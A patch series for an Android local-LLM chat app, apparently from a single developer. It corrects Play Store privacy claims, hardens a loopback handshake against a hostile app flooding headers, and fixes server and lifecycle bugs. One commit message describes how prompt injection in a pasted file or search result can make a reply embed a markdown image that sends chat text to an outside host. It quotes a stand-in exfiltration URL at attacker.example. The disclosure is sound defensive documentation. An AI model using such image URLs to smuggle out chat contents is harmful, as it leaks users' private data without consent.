14 insertions(+), 8 deletions(-) diff --git a/play-store-assets/listing-copy.md b/play-store-assets/listing-copy.md index 54b18d3..9afa3d9 100644 --- a/play-store-assets/listing-copy.md +++ b/play-store-assets/listing-copy.md @@ -70,12 +70,18 @@ PRIVACY BY DESIGN - No account, no login, no cloud backend for your conversations. - No telemetry, no analytics, no crash-reporting SDK phoning home in this build. -- Chats and downloaded models live only in this app's private storage on - your device. -- Your prompts, files, and model weights are never sent to us or anyone - else. The only network requests this app makes are ones you triggered - yourself: downloading a model you picked, fetching the inference engine - binary the first time it's needed, or a tool call you explicitly approved. +- Your chats stay in this app's private storage on your device. Android's + own backup to your Google account and its transfer to a new phone also + copy them off it, if you use them (with a screen lock on Android 9 and + later, the backup is end-to-end encrypted). Downloaded models stay in + the app's storage unless you pick another folder for them. +- Your prompts, files, and model weights are never sent to us. They leave + the phone only through that backup (which leaves models out), a tool + call you approve, or a device or service you connect the app to + yourself. The only network requests this app makes are ones you + triggered yourself: downloading a model you picked, fetching the + inference engine binary the first time it's needed, or a tool call you + explicitly approved. WORTH KNOWING @@ -90,9 +96,9 @@ WHO IT'S FOR Privacy-conscious users, local-AI enthusiasts, developers who already run TurboLLM or llama.cpp on a computer, and anyone curious what a genuinely offline LLM chat feels like on a phone — under your control, on your -hardware, with nothing leaving the device. +hardware. ``` -(2,736 chars — well under the 4,000 limit; keyword density: "local" x6, "offline" x5, "AI"/"LLM" +(3,140 chars — well under the 4,000 limit; keyword density: "local" x6, "offline" x5, "AI"/"LLM" x9, "on-device" x2, "privacy/private" x3, "no cloud/account/subscription/telemetry" x5, plus feature nouns tuned for search — Hugging Face, GGUF, agents, tokens, llama.cpp.) From c1a5db571b0387a6874ff205a13c0d273ec85b0c Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sun, 18 Oct 2026 15:51:58 +0000 Subject: [PATCH 44/80] docs: Play listing and privacy notes name the app's network requests The Play listing's full description said "The only network requests this app makes are ones you triggered yourself: downloading a model you picked, fetching the inference engine binary the first time it's needed, or a tool call you explicitly approved." Neither half held. The engines ship inside the APK and are registered at every boot, so no engine is fetched the first time it is needed, which the listing's feature list also promised ("The inference engine installs itself automatically the first time you need it"). And the daemon, as TurboLLM#287 was signed, fetched registry.npmjs.org/turbollm/latest five seconds after every app launch (cli.ts, the app-update check), a request nobody triggered, for an npm release the app cannot install. privacy-notes.md's list of the daemon's requests, the Data safety input, did not mention the update check either, nor Discover's requests to Hugging Face (the search and browse lists, and a repo's details, files and model card), which the listing does name. Nor did either file mention the requests the app's WebView makes on its own. The web UI renders a markdown image in a chat reply, and the images in a model card, as plain elements; the daemon's CSP for the app lets them load from any https host, and over plain http from port 80, on purpose (server.ts APP_SECRET_CSP: img-src 'self' http://* https: data: blob:, where the port-less http://* matches port 80 only), and DaemonWebView.kt refuses only other 127.0.0.1 ports. So a reply, for instance after a prompt injection in a pasted file or a search result, can make the phone fetch an image URL that carries text from the chat to a host the model names, as soon as the reply shows, with no approval. The listing said prompts and files leave the phone "only through" the backup, a tool call the user approves or a device or service they connect, and privacy-notes.md item 1 said the WebView talks only to 127.0.0.1, "nothing external". The file's suggested Data safety answers said chat content is "NOT collected or shared by either SDK or by TurboLLM", and, for encryption in transit, only that "Hugging Face/GitHub downloads use HTTPS". The image behaviour itself is TurboLLM#287's "Known, not fixed here" entry "Markdown images in chat", an owner decision; only the Android text is fixed here. Older bug, not from this PR: origin/main has the same listing text, the same item 1, request list and Data safety answers, and the same update check. The "only through" sentence is from the commit before this one, docs: Play listing says Android's backup can copy chats off the phone, which kept the omission; it is corrected here, with the sentence after it, since both commits rewrite the same lines and the stated length. The update check is the daemon's to drop: TurboLLM#287's "fix(update): the Android app does not check npm for an app update" skips it inside the packaged app (Termux keeps it). The text below describes the app with that change. - listing-copy.md: the bullet now says prompts and files can leave the phone through that backup, a tool call the user approves, a device or service they connect the app to, or an image in a reply, and that images in a reply or a model card load from the website they name as soon as they show, without asking, so a reply can make the app contact that site and pass it text from the chat in the image's address. Its sentence on network requests now says that apart from those images the app goes online only for what the user asks of it: browsing Hugging Face and downloading the models they pick, a tool call they approve, or a device or service they connect it to. The engine download is gone from it, and the feature bullet now says the engines come built into the app. The stated length is updated to 3,336 characters. - privacy-notes.md: item 1 keeps that the Kotlin code talks only to the daemon on 127.0.0.1:7000, and replaces "nothing external" with what the web UI in the WebView loads from other hosts (model-card images, which can come from any site, and markdown images in chat replies; any https host, and plain http on port 80 only), why the CSP lets it, and that a reply can send chat text to a host that way with no approval, pointing at that TurboLLM#287 Known entry for the Data safety form. The list of the daemon's requests adds Discover's Hugging Face requests (opening it lists popular repos, typing searches, opening a repo fetches its details, file list and model card, all over HTTPS with the user's token when set), and that desktop's update check against registry.npmjs.org is not made in the app, and why, citing that TurboLLM#287 change. The suggested Data safety answers keep their substance and add that TurboLLM itself collects nothing but a reply's image loads from the host it names, so text the reply puts in its URL reaches that host, and that such images can load over plain http on port 80, both pointing at item 1. Docs only. Checked against the daemon in TurboLLM#287: engines/seed.ts (the bundled engines registered at boot; the first-run download only when no engine is registered, which the always-registered LiteRT-LM engine rules out in a default build), engines/update.ts (no update source for the bundled engines), cli.ts and app-update.ts (the registry.npmjs.org fetch at boot), the update change named above, and the web UI (Hugging Face is only searched from Discover, and in the app the Engines page lists the built-in engines with no install control). For Discover: hf/hf.ts (searchModels and browseModels against huggingface.co/api/models; getRepo reads the repo info, its file tree, its README and, for a checkpoint repo, the checkpoints' config.json; authHeaders adds the token when one is set), api/routes.ts (/api/v1/hf/search and /api/v1/hf/models/:owner/:name), and web/src/screens/models/DiscoverTab.tsx and HfRepoDialog.tsx (the list is fetched as soon as Discover opens, a typed query 400 ms after the last key, a repo's detail when it is opened). For the images: web/src/screens/chat/MessageBubble.tsx (its Markdown overrides no img, and a scratch render of ![x](https://attacker.example/p.png?d=my%20secret) and of a plain-http image gives elements with exactly those URLs), models/HfRepoDialog.tsx (the model card keeps img from any host), server.ts (APP_SECRET_CSP, sent on the UI's HTML when the app secret is set, as on Android; its comment notes that the port-less http://* matches port 80 only) and DaemonWebView.kt (shouldInterceptRequest loads every host but other 127.0.0.1 ports normally; nothing blocks network images). stage-play-listing.mjs, run on a copy of this commit with placeholder images, parses the title (25), short description (77) and full description (3,336 of 4,000), also from a CRLF copy of the file. --- play-store-assets/listing-copy.md | 23 ++++++++++++---------- play-store-assets/privacy-notes.md | 31 +++++++++++++++++++++++++++--- 2 files changed, 41 insertions(+), 13 deletions(-) diff --git a/play-store-assets/listing-copy.md b/play-store-assets/listing-copy.md index 9afa3d9..73787ac 100644 --- a/play-store-assets/listing-copy.md +++ b/play-store-assets/listing-copy.md @@ -52,8 +52,8 @@ WHAT YOU CAN DO model — fully offline, even in airplane mode. - Discover and download models straight from Hugging Face, right inside the app, with one tap. -- The inference engine installs itself automatically the first time you need - it — no manual setup, no compiling, no terminal. +- The inference engines come built into the app — no setup, no compiling, + no terminal. - Create custom AI agents with their own system prompt and skill/tool access, for different tasks — coding help, writing, research, or a completely blank slate with zero injected instructions. @@ -75,13 +75,16 @@ PRIVACY BY DESIGN copy them off it, if you use them (with a screen lock on Android 9 and later, the backup is end-to-end encrypted). Downloaded models stay in the app's storage unless you pick another folder for them. -- Your prompts, files, and model weights are never sent to us. They leave - the phone only through that backup (which leaves models out), a tool - call you approve, or a device or service you connect the app to - yourself. The only network requests this app makes are ones you - triggered yourself: downloading a model you picked, fetching the - inference engine binary the first time it's needed, or a tool call you - explicitly approved. +- Your prompts, files, and model weights are never sent to us. They can + leave the phone through that backup (which leaves models out), a tool + call you approve, a device or service you connect the app to yourself, + or an image in a reply. Images in a reply or a model card load from + the website they name as soon as they show, without asking you, so a + reply can make the app contact that site and pass it text from the + chat in the image's address. Apart from those images, the app goes + online only for what you ask of it: browsing Hugging Face and + downloading the models you pick, a tool call you explicitly approve, + or a device or service you connect it to. WORTH KNOWING @@ -98,7 +101,7 @@ TurboLLM or llama.cpp on a computer, and anyone curious what a genuinely offline LLM chat feels like on a phone — under your control, on your hardware. ``` -(3,140 chars — well under the 4,000 limit; keyword density: "local" x6, "offline" x5, "AI"/"LLM" +(3,336 chars — well under the 4,000 limit; keyword density: "local" x6, "offline" x5, "AI"/"LLM" x9, "on-device" x2, "privacy/private" x3, "no cloud/account/subscription/telemetry" x5, plus feature nouns tuned for search — Hugging Face, GGUF, agents, tokens, llama.cpp.) diff --git a/play-store-assets/privacy-notes.md b/play-store-assets/privacy-notes.md index 04944a0..2ff16ad 100644 --- a/play-store-assets/privacy-notes.md +++ b/play-store-assets/privacy-notes.md @@ -46,9 +46,25 @@ this file) and grepped all Kotlin source for network calls. Findings below descr CURRENTLY CODED; once Firebase is integrated, add a corresponding "app diagnostics" row. 1. **Native app code (Kotlin) only ever talks to `127.0.0.1`** — `DaemonClient.kt` and - `DaemonWebView.kt` both hit `http://127.0.0.1:7000` (the embedded daemon), nothing external. + `DaemonWebView.kt` both hit `http://127.0.0.1:7000` (the embedded daemon). The web UI in that + WebView goes further, though: it loads the images its pages point at from any https host, and + from any host over plain http on port 80. The daemon's CSP for the app allows that on purpose + (`APP_SECRET_CSP` in its `server.ts`: images and media from `'self'`, any `https:` host, + `http://*`, which with no port matches plain http on port 80 only, `data:` and `blob:`), and + `DaemonWebView.kt` refuses only other `127.0.0.1` ports. Those are the images in a model card + (the README in the Hugging Face dialog, which can embed images from any site) and markdown + images in chat replies and the other text the UI renders as markdown. An image in a reply loads + as soon as the reply shows, with no approval, so a reply (after a prompt injection in a pasted + file or a search result, say) can make the phone contact a host the model names and pass it + text from the chat in the image's URL. That behaviour is TurboLLM#287's "Known, not fixed + here" entry "Markdown images in chat", an owner decision; fill in the Data safety form with it + in mind. 2. **The embedded daemon (the same `turbollm` product code that runs on desktop) makes the same categories of outbound request desktop does, all user-initiated except where noted:** + - Searching and browsing Hugging Face from Discover: opening it lists popular repos, typing + searches them, and opening a repo fetches its details, its file list and its model card (the + README; for a repo of checkpoints, their config files too), all from `huggingface.co` over + HTTPS, with the user's Hugging Face token when one is set (`hf/hf.ts`). - Downloading a model you chose, from Hugging Face. - Downloading an inference engine, which a normal install never does: the engines ship inside the APK (the CPU `llama-server`, the LiteRT-LM server unless a build turns it off, and the @@ -62,6 +78,11 @@ CURRENTLY CODED; once Firebase is integrated, add a corresponding "app diagnosti - Any in-chat tool call you explicitly approve (e.g. `web_search`), same approval-gated flow as desktop. - **Not present on this build:** the periodic telemetry upload — disabled per above. + - **Not present in the app either:** desktop's check for a newer TurboLLM, which fetches + `registry.npmjs.org/turbollm/latest` at every daemon start and when Settings reads a stale + answer. The app updates through Play, so the daemon skips that check inside it (TurboLLM#287, + "fix(update): the Android app does not check npm for an app update"); Termux installs, which + update through npm, keep it. 3. **`AndroidManifest.xml` permissions**, and why each exists: - `INTERNET` — the above network use. - `FOREGROUND_SERVICE` and `FOREGROUND_SERVICE_SPECIAL_USE` — `EngineService`, a foreground @@ -176,9 +197,13 @@ would drop the web UI's own settings along with a pasted key. usage data** (App activity → App interactions, Device or other IDs). Both are shared with Google as the processor (Play's form has a specific "shared with Firebase/Google for analytics" path — use it, don't mark this as "not shared"). Your own chat content, prompts, files, and - model weights are NOT collected or shared by either SDK or by TurboLLM. + model weights are NOT collected or shared by either SDK or by TurboLLM. TurboLLM itself + collects nothing, but an image in a model reply loads from the host it names (any https host, + or plain http on port 80) as soon as the reply shows, so text a reply puts in an image's URL + reaches that host (item 1 under "What this app actually does over the network"). - **Is data encrypted in transit?** Yes for Firebase's traffic (Google's SDKs use HTTPS/TLS). - N/A for the app's own loopback traffic; Hugging Face/GitHub downloads use HTTPS. + N/A for the app's own loopback traffic; Hugging Face/GitHub downloads use HTTPS. Images in a + reply or a model card can load over plain http, on port 80 (item 1). - **Can users request data deletion?** Yes for local app data — uninstalling removes it, and there is no TurboLLM-side account/record. For Firebase-held crash/analytics data, follow Firebase's own data deletion process (Google Analytics for Firebase supports user-level deletion requests) — From b44e008747f3f9ac7299fec82b11d2b3bc753e88 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sun, 18 Oct 2026 11:53:12 +0000 Subject: [PATCH 45/80] fix(android): the app proof caps the answer's headers, not its body only daemonProven() read at most 4 KiB of the proof answer's body, but the answer comes from whoever holds 127.0.0.1:7000, and HttpURLConnection reads the status line and every header line whole before it hands over the body, with no limit (Android's is OkHttp 2.7.5, whose header reader has none). An app holding the port when the app asks for the proof (at launch, before the daemon binds) could answer with a status line and then header lines without end. On the JVM with OkHttp 2.7.5 those filled a 96 MiB heap in under 2 s, inside the 3 s deadline, and another thread of the app got an OutOfMemoryError. daemonProven() catches its own, but on Android one on the main thread ends the app: the crash 485b85f said could no longer happen. Gap in this PR: fix(android): another app's proof answer can't stall or crash the app (485b85f) capped only the body. DaemonAuth.kt, daemonProven(): the proof request is written by hand on a plain java.net.Socket(Proxy.NO_PROXY) to 127.0.0.1:7000, a GET /api/v1/app-proof?nonce=... HTTP/1.1 with Host and Connection: close, and at most 4 KiB of the whole answer, status line and headers included, is read. The daemon closes the socket after its answer, which is about 230 bytes. The answer counts only with an "HTTP/1.x 200 " status line, and the proof is taken from the body, after the blank line that ends the headers. Unchanged: the 3 s deadline for the whole request (it now closes the socket), the 1 s connect and 2 s read timeouts, a new socket per proof that is never pooled, no system proxy, no redirect followed, the regex instead of a JSON parse, Throwable caught, and the HMAC check. open() still uses HttpURLConnection with Connection: close. The class and deadline comments say so. Behaviour change: none with our daemon, which closes the socket after its answer. An answer whose first 4 KiB does not hold its status line, headers and proof now fails; before, only the body was capped. The answer is read until the socket closes or 4 KiB have come, whatever its Content-Length says, so a complete 200 with the right proof whose sender then keeps the socket open now fails when the 2 s read timeout runs out; before, it passed. A status line with no reason phrase, a bare "HTTP/1.1 200", now fails too; HttpURLConnection accepted it. Tests: there is no Kotlin test harness in this repo, so none is added. Checked on the JVM with the real DaemonAuth.kt, compiled with kotlinc 2.2.20 against OkHttp 2.7.5 installed as the URL handler, as for 485b85f. daemonProven() ran on a thread with a 1 MiB stack and a 96 MiB heap while another thread allocated 64 KiB every millisecond and kept the last 16, with a listener on the port that sends a status line and then 1 KB header lines as fast as loopback goes, or one header line that never ends. Before the fix the first filled the heap in 1.2-1.9 s (95 MiB in use, and in 7 of 10 runs an OutOfMemoryError in the other thread) and the second grew it to 70-75 MiB by the deadline, so both cases (false within the deadline, no OutOfMemoryError, under 32 MiB in use) fail without the fix; after it both return false in under 0.1 s with at most 11 MiB in use. Unchanged before and after: an answer trickled a byte every 1.5 s, in its body or its headers, gives false in 3.0-3.2 s, an endless body or 200,000 "[" false in under 0.4 s, the right proof in a 302, a 500 or a header false, a chunked 200 with the right proof true, and against a stand-in daemon the proof passes and open() reaches it with the secret, also with a system proxy that then sees nothing. With the deadline task made a no-op the trickles hang again. Changed, as the Behaviour change says: a 200 with Content-Length and the right proof whose sender then keeps the socket open, and one whose status line is a bare "HTTP/1.1 200", give true before the fix and false after it (in 2.1 s and under 0.2 s). Against the daemon's real createApp under @hono/node-server's serve(), as cli.ts runs it, on Node 18.20.4 with the Android preload, the proof passes (the answer is 229 bytes, Content-Length: 76, Connection: close) and open()'s request gets past lanAuth (200, and 401 without the secret), also with the JDK's own HttpURLConnection. compileDebugKotlinAndroid passes. Not run on a device. --- .../kotlin/com/turbollm/app/DaemonAuth.kt | 91 +++++++++++-------- 1 file changed, 52 insertions(+), 39 deletions(-) diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonAuth.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonAuth.kt index b7ebf4f..d5838d5 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonAuth.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonAuth.kt @@ -3,7 +3,9 @@ package com.turbollm.app import java.io.IOException import java.io.InputStream import java.net.HttpURLConnection +import java.net.InetSocketAddress import java.net.Proxy +import java.net.Socket import java.net.URL import java.security.MessageDigest import java.security.SecureRandom @@ -23,16 +25,16 @@ import javax.crypto.spec.SecretKeySpec * secret itself. A proof per request rather than one kept until a request fails: an app that took the port over * between two requests would answer the second one, not fail it. * - * A proof vouches only for the listener, so the proof and the request each go out on a new socket (Connection: - * close), never on a pooled one. Android's HttpURLConnection keeps keep-alive sockets in one pool for the process and - * reuses them even after disconnect(), and a pooled socket stays connected to whoever accepted it: an app holding the - * port at launch could let our daemon have it, keep the socket we pooled, pass each nonce on to the daemon, and - * receive the request that follows on that socket. With every socket to the port closed after its one request, - * nothing to it is ever in the pool. What this guarantees: the secret goes out only on a connection opened just after - * our daemon, on another new connection, proved it held the port. It reaches another app only if the daemon gave the - * port up in between, i.e. a LAN-toggle rebind; an app that is still on the port when the daemon binds again makes - * the daemon exit (cli.ts), so what is left is an app that binds and lets go inside that gap of a few ms, just as a - * request is made. + * A proof vouches only for the listener, so the proof and the request each go out on a new socket, never on a pooled + * one: the proof on a plain socket of its own (see PROOF_DEADLINE_MS), the request with Connection: close. Android's + * HttpURLConnection keeps keep-alive sockets in one pool for the process and reuses them even after disconnect(), and + * a pooled socket stays connected to whoever accepted it: an app holding the port at launch could let our daemon have + * it, keep the socket we pooled, pass each nonce on to the daemon, and receive the request that follows on that + * socket. With every socket to the port closed after its one request, nothing to it is ever in the pool. What this + * guarantees: the secret goes out only on a connection opened just after our daemon, on another new connection, proved + * it held the port. It reaches another app only if the daemon gave the port up in between, i.e. a LAN-toggle rebind; + * an app that is still on the port when the daemon binds again makes the daemon exit (cli.ts), so what is left is an + * app that binds and lets go inside that gap of a few ms, just as a request is made. * * Both connections also go straight to the port, never through the system HTTP proxy (Proxy.NO_PROXY). Android * exempts 127.0.0.1 from that proxy only when the proxy's bypass list is not empty, and it often is empty: a Wi-Fi @@ -40,21 +42,26 @@ import javax.crypto.spec.SecretKeySpec * VpnService.Builder.setHttpProxy. A proxy app on the phone would then carry both connections: it could pass the * nonce on to our daemon, which proves itself, and read the request that follows, secret and all. */ object DaemonAuth { - private const val BASE = "http://127.0.0.1:$ANDROID_DAEMON_PORT" + private const val HOST = "127.0.0.1" + private const val BASE = "http://$HOST:$ANDROID_DAEMON_PORT" private val random = SecureRandom() // Until its answer checks out, the port's holder may be another app, and nothing it sends may stall or crash us. - // HttpURLConnection's timeouts are per read, so an answer trickled a byte at a time would keep the splash and the - // EngineService poll waiting as long as the sender liked: hence one deadline for the whole request. A huge or - // deeply nested body would run a plain read or a recursive JSON parser out of memory or stack, an Error: hence a - // cap on what is read, a regex rather than a parse, and catching Throwable. The daemon's answer, - // {"proof":"<64 hex>"}, is 76 bytes. + // Socket timeouts are per read, so an answer trickled a byte at a time would keep the splash and the EngineService + // poll waiting as long as the sender liked: hence one deadline for the whole request. An endless or deeply nested + // answer would run a plain read or a recursive JSON parser out of memory or stack, an Error: hence a cap on what + // is read, a regex rather than a parse, and catching Throwable. The cap covers the whole answer, status line and + // headers included, so the request is written by hand on a plain socket: HttpURLConnection reads the status line + // and headers whole before it hands over the body, with no limit, and header lines sent as fast as loopback goes + // filled a 96 MiB heap in under 2 s, well inside the deadline. The daemon's answer is about 230 bytes, its body + // {"proof":"<64 hex>"} 76. private const val PROOF_DEADLINE_MS = 3000L private const val PROOF_MAX_BYTES = 4096 private val PROOF = Regex("\"proof\"\\s*:\\s*\"([0-9a-f]{64})\"") + private val STATUS_OK = Regex("^HTTP/1\\.[01] 200 ") - /** Ends a proof request still running at PROOF_DEADLINE_MS: disconnect() from another thread closes its socket, - * which ends the read it is blocked in. */ + /** Ends a proof request still running at PROOF_DEADLINE_MS: close() from another thread closes its socket, which + * ends the connect or read it is blocked in. */ private val deadlines = ScheduledThreadPoolExecutor(1) { r -> Thread(r, "DaemonAuth deadline").apply { isDaemon = true } }.apply { removeOnCancelPolicy = true } @@ -65,28 +72,34 @@ object DaemonAuth { * whatever the port's holder sends. */ fun daemonProven(): Boolean = try { val nonce = hex(ByteArray(32).also { random.nextBytes(it) }) - // Proxy.NO_PROXY: to the port itself, not to a proxy that could relay the nonce (class comment). - val conn = URL("$BASE/api/v1/app-proof?nonce=$nonce").openConnection(Proxy.NO_PROXY) as HttpURLConnection - conn.instanceFollowRedirects = false // the answer must come from this port, not from wherever it points - conn.setRequestProperty("Connection", "close") // a new socket, not left in the pool for open() (class comment) - conn.connectTimeout = 1000 - conn.readTimeout = 2000 - val deadline = deadlines.schedule(Runnable { conn.disconnect() }, PROOF_DEADLINE_MS, TimeUnit.MILLISECONDS) - try { - conn.responseCode == 200 && run { - // Only the first PROOF_MAX_BYTES, and matched as text rather than parsed: nothing the port's holder - // sends can grow the heap or the stack (comment at PROOF_DEADLINE_MS). - val body = conn.inputStream.use { readAtMost(it, PROOF_MAX_BYTES) } - val proof = PROOF.find(body)?.groupValues?.get(1).orEmpty() - // The daemon's message (appSecretProof): the address and port it was asked on, then the nonce. - val mac = Mac.getInstance("HmacSHA256") - mac.init(SecretKeySpec(DAEMON_APP_SECRET.toByteArray(), "HmacSHA256")) - val want = hex(mac.doFinal("turbollm-app-proof\n127.0.0.1:$ANDROID_DAEMON_PORT\n$nonce".toByteArray())) - MessageDigest.isEqual(want.toByteArray(), proof.toByteArray()) // constant time + // Proxy.NO_PROXY: to the port itself, not to a proxy that could relay the nonce (class comment). A socket of + // its own, never pooled, and closed after this one answer. + Socket(Proxy.NO_PROXY).use { socket -> + val deadline = deadlines.schedule(Runnable { socket.close() }, PROOF_DEADLINE_MS, TimeUnit.MILLISECONDS) + try { + socket.connect(InetSocketAddress(HOST, ANDROID_DAEMON_PORT), 1000) + socket.soTimeout = 2000 + // Connection: close, so the daemon closes the socket after its answer and that ends the read below. + val request = "GET /api/v1/app-proof?nonce=$nonce HTTP/1.1\r\n" + + "Host: $HOST:$ANDROID_DAEMON_PORT\r\nConnection: close\r\n\r\n" + socket.getOutputStream().apply { write(request.toByteArray(Charsets.US_ASCII)); flush() } + // Only the first PROOF_MAX_BYTES of the answer, headers included, and matched as text rather than + // parsed: nothing the port's holder sends can grow the heap or the stack (see PROOF_DEADLINE_MS). + val answer = readAtMost(socket.getInputStream(), PROOF_MAX_BYTES) + val bodyAt = answer.indexOf("\r\n\r\n") + // A 200 only: a redirect is not followed, the answer must come from this port. The proof is taken from + // the body, after the blank line that ends the headers. + STATUS_OK.containsMatchIn(answer) && bodyAt >= 0 && run { + val proof = PROOF.find(answer, bodyAt + 4)?.groupValues?.get(1).orEmpty() + // The daemon's message (appSecretProof): the address and port it was asked on, then the nonce. + val mac = Mac.getInstance("HmacSHA256") + mac.init(SecretKeySpec(DAEMON_APP_SECRET.toByteArray(), "HmacSHA256")) + val want = hex(mac.doFinal("turbollm-app-proof\n$HOST:$ANDROID_DAEMON_PORT\n$nonce".toByteArray())) + MessageDigest.isEqual(want.toByteArray(), proof.toByteArray()) // constant time + } + } finally { + deadline.cancel(false) } - } finally { - deadline.cancel(false) - conn.disconnect() } } catch (_: Throwable) { false // an Error too: no answer from the port may crash the app (comment at PROOF_DEADLINE_MS) From 865e5b37f1c71fef6e8defad907b230253af8068 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sun, 18 Oct 2026 11:59:37 +0000 Subject: [PATCH 46/80] fix(litert-lm-server): "stream": null is false, not a 500 HandleChatCompletions read "stream" with body.value("stream", false), which throws json's type_error when the field is there but null, and the handler's catch turned that into a 500 "RuntimeError: [json.exception.type_error.302] type must be boolean, but is null". Clients that write every optional field send "stream": null, and OpenAI's API and the Python server (body.get("stream", False)) read it as false. The daemon's gateway forwards the client's body with the null in it (it streams only for stream === true), so such a client got a 500 from every LiteRT-LM model. A string, number, object or array also came back as a 500 rather than a client error. stream_options.include_usage on the next line had the same value() call: null was a 500 there too. Older bug, not from this PR: origin/main reads both the same way. main.cc: "stream" and stream_options.include_usage are false when absent or null, the boolean when one is given, and any other value gets a 400 "stream must be a boolean" or "stream_options.include_usage must be a boolean", sent before the engine lock, like the other field checks. Behaviour change: "stream": null and "include_usage": null are read as false; a non-boolean "stream" or "include_usage" gets a 400 instead of a 500. Tests: none added; the repo has no test harness for this native server. Checked over the stub liblitert-lm.so with the release build, before and after: "stream" null got the 500 before and a 200 JSON reply after; "yes", 1, {} and [] got the 500 before and the 400 after; include_usage null got the 500 before and a stream without the usage chunk after, include_usage "yes" the 500 before and the 400 after. Unchanged: "stream" absent or false (a JSON reply), true (a stream), include_usage absent, false or true, and stream_options null. The earlier native checks (smoke, error chunk, context window, lost cancel) pass before and after. No existing test changed. The release build has 0 warnings. --- engines/litert-lm-server/src/main.cc | 25 ++++++++++++++++++++++--- 1 file changed, 22 insertions(+), 3 deletions(-) diff --git a/engines/litert-lm-server/src/main.cc b/engines/litert-lm-server/src/main.cc index 30a4e94..a3de946 100644 --- a/engines/litert-lm-server/src/main.cc +++ b/engines/litert-lm-server/src/main.cc @@ -1071,9 +1071,28 @@ void HandleChatCompletions(int fd, const Request& req) { } } - const bool stream = body.value("stream", false); - const bool include_usage = - body.contains("stream_options") && body["stream_options"].is_object() && body["stream_options"].value("include_usage", false); + // Absent or null is false for both, as the Python server's body.get() reads them, and as clients that write every + // optional field send them. json's value() threw type_error on a null, and the catch below made that a 500. Any + // other non-boolean is the client's mistake: a 400 that says so, not a 500. + bool stream = false; + if (body.contains("stream") && !body["stream"].is_null()) { + if (!body["stream"].is_boolean()) { + SendError(fd, req, 400, "stream must be a boolean"); + return; + } + stream = body["stream"].get(); + } + bool include_usage = false; + if (body.contains("stream_options") && body["stream_options"].is_object()) { + const json& so = body["stream_options"]; + if (so.contains("include_usage") && !so.at("include_usage").is_null()) { + if (!so.at("include_usage").is_boolean()) { + SendError(fd, req, 400, "stream_options.include_usage must be a boolean"); + return; + } + include_usage = so.at("include_usage").get(); + } + } std::lock_guard engine_lock(g_engine_mu); LiteRtLmEngine* engine = GetOrCreateEngine(ref, mc); From 609a1c4510843936ef2156565a5dcb152d29e460 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sun, 18 Oct 2026 12:07:15 +0000 Subject: [PATCH 47/80] fix(android): a quick reopen after Back no longer unloads the model MainActivity.onDestroy() tells EngineService the app was closed (ACTION_ACTIVITY_FINISHED) when it is finishing, and the service acts on that whenever it arrives. Android destroys a finished activity only once the next activity on screen is idle, so after Back and a quick tap on the app's icon the new MainActivity's onCreate and its service start can come first and the old activity's close after them. The service then treated the open app as closed: with notifications off it unloaded the model and stopped the service (no longer foreground, so Android may freeze or kill the process under the open app); with the notification up it kept the service but set closedWithQuit, so turning the Engine channel off later unloaded and stopped it all the same. A close that did arrive first had a smaller gap: the stop thread's last check before the unload reads stopWhenIdle, which the reopened app's start clears only once it runs on the main thread, after the new activity's onCreate, so a stop that reached that check meanwhile still unloaded the model the new activity was about to use. Older bug, not from this PR: origin/main sends and handles the close the same way. - EngineService.kt: activityOpened() numbers each MainActivity, and activityFinished(context, activity) sends that number with the close. The service ignores a close that is not from the newest activity. stopNow() keeps the number current when it began, and its unload and its stop go ahead only if no activity was created since. - MainActivity.kt: onCreate takes its number first thing, and onDestroy sends it with the close. Behaviour change: after Back and a reopen, the old activity's close no longer unloads the model or stops the service; closing the reopened app still does, as before. Tests: there is no Kotlin test harness in this repo, so none is added. Checked on the JVM with the real EngineService.kt and commit 23's stubs (bd61188, fix(android): a notification dropped before a grant is posted again), extended so startService and startForegroundService take the next start id at once and run onStartCommand later on a one-thread main executor, as Android does, and the daemon is reached after 150 ms a call. MainActivity is modelled by its calls into the service: onCreate (number and start), onResume (repost), onDestroy while finishing (the close). Before the fix three cases fail: the old activity's close after the new one's start unloaded the model and destroyed the service with notifications off, and with the notification up did the same once the Engine channel was turned off; a reopen 50 ms after Back, with the new onCreate keeping the main thread 1.5 s, still unloaded the model. After it none unloads or stops. Each half is needed: without the check in onStartCommand the first two fail again, without the checks in stopNow() the third. Unchanged before and after: Back with notifications off unloads and stops, Back with the notification up keeps both, and commit 23's seven cases pass. With the fix, closing the reopened app after the old activity's late close still unloads and stops. compileDebugKotlinAndroid passes. Not run on a device. --- .../kotlin/com/turbollm/app/EngineService.kt | 32 ++++++++++++++++--- .../kotlin/com/turbollm/app/MainActivity.kt | 7 +++- 2 files changed, 33 insertions(+), 6 deletions(-) diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt index 5af073a..7374a47 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt @@ -26,6 +26,7 @@ private const val NOTIFICATION_ID = 1 private const val ACTION_QUIT = "com.turbollm.app.QUIT" private const val ACTION_ACTIVITY_FINISHED = "com.turbollm.app.ACTIVITY_FINISHED" private const val ACTION_REPOST = "com.turbollm.app.REPOST" +private const val EXTRA_ACTIVITY = "com.turbollm.app.ACTIVITY" private const val POLL_MS = 3000L /** Keeps the daemon and its engine processes running while the app is not on screen. @@ -101,6 +102,11 @@ class EngineService : Service() { stopSelf(startId) // this intent created the service; it was not running in the foreground return START_NOT_STICKY } + // Only the newest activity's close counts. Android destroys a finished activity once the next one on + // screen is idle, so after Back and a quick reopen the old activity's close can come after the new one's + // start, and acting on it unloaded the model under the open app (and with notifications off stopped the + // service too). + if (intent.getIntExtra(EXTRA_ACTIVITY, 0) != newestActivity) return START_NOT_STICKY appClosed() return START_NOT_STICKY } @@ -193,15 +199,23 @@ class EngineService : Service() { private fun stopNow() { if (!stopping.compareAndSet(false, true)) return val startId = lastStartId + // The app came back if an activity was 